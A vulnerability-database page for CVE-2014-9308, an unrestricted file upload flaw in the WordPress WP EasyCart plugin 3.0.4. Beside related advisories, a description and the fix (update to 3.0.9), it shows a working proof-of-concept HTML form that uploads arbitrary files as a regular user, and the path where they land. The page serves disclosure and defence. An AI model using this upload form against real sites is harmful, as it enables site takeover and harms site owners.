Vulners
Lucene search
WordPress Plugin Shopping Cart 3.0.4 - Unrestricted Arbitrary File Upload
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | WordPress Shopping Cart 3.0.4 - Unrestricted File Upload Vulnerability | 8 Jan 201500:00 | – | zdt |
 | CVE-2014-9308 | 10 Feb 201500:00 | – | circl |
 | WordPress plugin Shopping Cart 'banneruploaderscript.php' arbitrary file upload vulnerability | 12 Jan 201500:00 | – | cnvd |
 | Wordpress Shopping Cart Plugin Unrestricted File Upload (CVE-2014-9308) | 9 Feb 201500:00 | – | checkpoint_advisories |
 | CVE-2014-9308 | 15 Jan 201515:00 | – | cve |
 | CVE-2014-9308 | 15 Jan 201515:00 | – | cvelist |
 | WordPress Plugin Shopping Cart 3.0.4 - Unrestricted Arbitrary File Upload | 8 Jan 201500:00 | – | exploitdb |
 | WordPress WP EasyCart Unrestricted File Upload | 10 Jan 201521:05 | – | metasploit |
 | CVE-2014-9308 | 15 Jan 201515:59 | – | nvd |
 | WordPress Shopping Cart 3.0.4 Unrestricted File Upload | 9 Jan 201500:00 | – | packetstorm |
10
<!--
# Exploit Title: WordPress Shopping Cart 3.0.4 Unrestricted File Upload
# Date: 29-10-2014
# Software Link: https://wordpress.org/plugins/wp-easycart/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9308
# Category: webapps
1. Description
Any registered user can upload any file because of incorrect if statement inside banneruploaderscript.php
http://security.szurek.pl/wordpress-shopping-cart-304-unrestricted-file-upload.html
2. Proof of Concept
Login as regular user (created using wp-login.php?action=register):
-->
<form action="http://wordpress-install/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="datemd5" value="1">
<input type="file" name="Filedata">
<input value="Upload!" type="submit">
</form>
<!--
File will be visible:
http://wordpress-install/wp-content/plugins/wp-easycart/products/banners/%filename%_1.%fileextension%
3. Solution:
Update to version 3.0.9
https://downloads.wordpress.org/plugin/wp-easycart.3.0.9.zip
-->Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Jan 2015 00:00Current
0.7Low risk
Vulners AI Score0.7
EPSS0.51617